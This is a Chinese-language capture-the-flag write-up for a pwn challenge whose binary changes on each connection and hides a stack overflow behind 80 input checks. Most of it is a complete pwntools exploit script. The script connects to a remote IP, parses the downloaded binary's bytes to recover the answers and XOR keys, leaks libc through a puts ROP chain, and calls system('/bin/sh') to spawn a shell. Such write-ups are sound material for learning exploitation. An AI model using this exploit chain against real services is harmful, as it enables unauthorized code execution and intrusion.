文件
链接:https://pan.baidu.com/s/1oQsVgSAd7tK1Pmrdd6Hvmg
提取码:j60k
Introduction
nc 之后服务器会要求用做工作量证明,做完后返回一段 Base64 加密后的数据,解密后经过两次解压即可得到文件。但是,每次 nc 返回的数据都不太一样,也就是说每次的文件都有点不同。

比赛时的截图
程序一开始要求输入 80 个数,这 80 个数要能绕过 80 个函数的检查,才能进入 ok_success() 流程,这里面有一个明显的栈溢出漏洞。
__int64 ok_success()
{
__int64 result; // rax
int s; // [rsp+0h] [rbp-20h] BYREF
int i; // [rsp+4h] [rbp-1Ch]
unsigned int v3; // [rsp+8h] [rbp-18h]
char v4[20]; // [rsp+Ch] [rbp-14h] BYREF
memset(&s, 0, 0x1CuLL);
puts("Ooooooh! Good!!!!!");
i = 0;
printf("Your name length: ");
s = read_num();
if ( s <= 0 )
wrong();
printf("Input your name: ");
v3 = read(0, v4, s);
for ( i = 0; ; ++i )
{
result = v3;
if ( i >= (int)v3 )
break;
if ( !success_tmp )
v4[i] ^= 0x1Au;
if ( success_tmp == 1 )
v4[i] ^= 8u;
if ( success_tmp == 2 )
v4[i] ^= 0x4Au;
if ( success_tmp == 3 )
v4[i] ^= 0x18u;
if ( success_tmp == 4 )
v4[i] ^= 0xEu;
success_tmp = (success_tmp + 1) % 5;
}
return result;
}
但是,由于每次的程序都是变动的,因此输入的 80 个数,包括之后对栈溢出的 payload 的 5 个异或值,都会相应地变化,所以需要对程序进行一些字节层面的分析。
最后还有一个点:该程序用到的 libc 执行时有一个 xmm0 指令要求栈上某个单元的地址值对齐 16byte,所以我们可能需要在 ROP 中加入适量的 ret 来绕过对齐检查。(详见 http://blog.eonew.cn/archives/958)
exp
from pwn import *
#from LibcSearcher import *
import commands
import os
import base64
import time
starts = time.time()
context.log_level = "debug"
context.arch = "amd64"
codebase = 0x400000
sh = remote("47.104.169.32", 44212)
# ======== cal pow.py ========
sh.recvuntil("You can run the solver with:\n")
sh.recvuntil("solve ")
comd = sh.recvuntil('\n', drop=True)
comd = "python3 pow.py solve " + comd
(status, output) = commands.getstatusoutput(comd)
ind = output.find("s.")
tans = output[ind:]
sh.sendline(tans)
# ======== get file ========
sh.recvuntil("==== Binary Download Start ====\n")
now_file = sh.recvuntil('\n', drop=True)
now_file = base64.b64decode(now_file)
f = open("tfile.bz2","wb")
f.write(now_file)
f.close()
os.system("bzip2 -d tfile.bz2")
os.system("tar -xf tfile -O > main")
# ======== analyze file ========
def read_into_buffer(filename):
buf = bytearray(os.path.getsize(filename))
with open(filename, 'rb') as f:
f.readinto(buf)
f.close()
return buf
raw = read_into_buffer("main")
#raw_len = len(raw)
def fffind(pos):
# find add eax,1
biao1 = [0x00,0x83,0xc0,0x01,0x89,0x05]
while(1):
flag=1
for i in range(6):
if(raw[pos+i]!=biao1[i]):
flag=0
pos=pos+i+1
break
if(flag==1):
break
# find number
newnum=0
biao2 = [0x83,0x7d,0xfc]
biao3 = 0x75
tpos=pos
while(1):
flag=1
if(raw[tpos+1]!=biao3):
tpos-=1
continue
for i in range(3):
if(raw[tpos-i-1]!=biao2[2-i]):
flag=0
break
if(flag==1):
newnum=raw[tpos]
break
tpos-=1
return newnum
elf = ELF("./main")
ans = []
for i in range(80):
now_pos = elf.symbols["maze_"+str(i+1)]-codebase
new_num=fffind(now_pos)
ans.append(new_num)
for i in range(80):
sh.sendline(str(ans[i]))
puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
fun_addr = elf.symbols["ok_success"]
main_addr = elf.symbols["main"]
success_tmp = 0
tab = []
biao_f=[0x8b, 0x45, 0xe4, 0x83, 0xf2]
now = fun_addr - codebase
while(len(tab)<5):
flag=1
for i in range(5):
if(raw[now+i]!=biao_f[i]):
flag=0
now=now+i+1
break
if(flag==1):
tab.append(raw[now+5])
now=now+6
rop = ROP("./main")
rop.raw('a'*(0x14+8))
rop.puts(read_got)
rop.raw(fun_addr)
print(rop.dump())
rop_s = rop.__bytes__()
slen = len(rop_s)
payload = ""
for i in range(slen):
payload += chr(tab[success_tmp]^ord(rop_s[i]))
success_tmp = (success_tmp+1)%5
sh.recvuntil("Your name length: ")
sh.sendline(str(slen))
sh.recvuntil("Input your name: ")
sh.send(payload)
read_addr = u64(sh.recv(6).ljust(8, '\x00'))
print("read_addr = " + hex(read_addr))
"""
libcbase = read_addr - 0x110140
system = 0x4f550 + libcbase
binsh = 0x1b3e1a + libcbase
pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
ret = elf.search(asm("ret")).next()
rop_s = 'a'*(0x14+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
slen = len(rop_s)
payload = ""
"""
# libc2.27-3
libcbase = read_addr - 0x110140
system = 0x4f550 + libcbase
binsh = 0x1b3e1a + libcbase
ret = elf.search(asm("ret")).next()
rop = ROP("./main")
rop.raw('a'*(0x14+8))
rop.raw(ret) # 这里加个 ret 对齐一下栈
rop.call(system, [binsh])
print(rop.dump())
rop_s = rop.__bytes__()
slen = len(rop_s)
payload = ""
success_tmp = 0
for i in range(slen):
payload += chr(tab[success_tmp]^ord(rop_s[i]))
success_tmp = (success_tmp+1)%5
sh.recvuntil("Your name length: ")
sh.sendline(str(slen))
sh.recvuntil("Input your name: ")
sh.send(payload)
#sh.sendline("cat flag")
ends = time.time()
print("cost_time = " + str(ends-starts))
sh.interactive()